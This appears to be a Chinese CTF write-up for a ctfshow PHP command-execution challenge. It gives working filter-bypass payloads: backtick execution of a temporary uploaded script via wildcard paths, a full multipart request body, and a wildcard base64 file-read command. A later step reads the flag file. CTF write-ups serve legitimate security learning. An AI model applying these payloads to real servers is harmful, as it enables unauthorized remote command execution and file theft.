Web 红包题第二弹

红包题第二弹 wp

页面源代码发现提示 ?cmd=

尝试?cmd=phpinfo(); 得到源码

很明显,这里存在命令执行漏洞,除了p以外的字母数字的过滤可以走无字母数字RCE(异或,取反,自增)

这里推荐一篇P神的文章(一些不包含数字和字母的webshell):https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

现在$ _和各种符号被过滤,无字母数字RCE就没法完成了,依旧通过P神的学习,完善的语言通常会与操作系统交互,而反引号 ` 就是简单的执行操作命令符号,配合. file就能执行文件内的系统命令(注意是.空格file)

如  `. 1.txt` 就能让操作系统解析1.txt文件并执行文件内的系统命令

思路

参考内容

P神文章(无字母数字webshell之提高篇):https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

大佬文章:https://blog.csdn.net/Ethan552525/article/details/118459568

构造post上传一个1.txt文件,文件内容为(#! /bin/sh    ls),同时. file执行文件内容,因为我们上传的文件会被改名保存在临时文件夹tmp中,默认文件名为/tmp/phpxxxxxx (x是任意大小写字母),文件会在请求包结束后删掉,所以需要在上传的同时. file执行

构造post体

第一步:抓包,修改请求方式

修改三个部分

1.Content-Type:声明文件上传类型

  Content- Type 有两个值:①application/x-www-form-urlencoded(默认值) :上传键值对

                                              ②multipart/form-data:上传文件
这里修改Content-Type:multipart/form-data; boundary=---------------------------10242300956292313528205888 (文件类型是文件上传)

2.boundary  标识文件开始和结束,中间是文件属性和文件内容

        boundary为边界分隔符

        文件开始标记:-----------------------------10242300956292313528205888 

        文件结束标记:-----------------------------10242300956292313528205888--

这里最下面添加

-----------------------------10242300956292313528205888 (注意:要在content-length下面空一行)
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/sh
 
ls
-----------------------------10242300956292313528205888--

3.通配符执行文件首行url添加 /?cmd=?><?=`.+/??p/p?p??????`;

?是通配符,匹配所有字符

这里?>闭合

这里<?等价与echo,<?也等价于<?php

+号:在url中+号可以表示空格

最总构造结果:

得知当前工作目录下有index.php,我们的目标是flag

查看上级目录

没有flag,继续上级目录

再来

确定flag的位置:../../../flag.txt,接着cat ../../../flag.txt读取flag

flag:ctfshow{8a276a65-bae1-4a7e-95c6-628d636b93ca}

这里题型有两种做法,第一种是上面的wp

第二种做法,如果代码没有过滤数字:?cmd=/bin/base64 flag.txt       

通配符:?cmd=/???/????64 ????.???

/bin/base64 flag.txt    bin目录存放很多基础的系统命令,引用bin目录下的base64命令转换文件内容,并输出出来

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值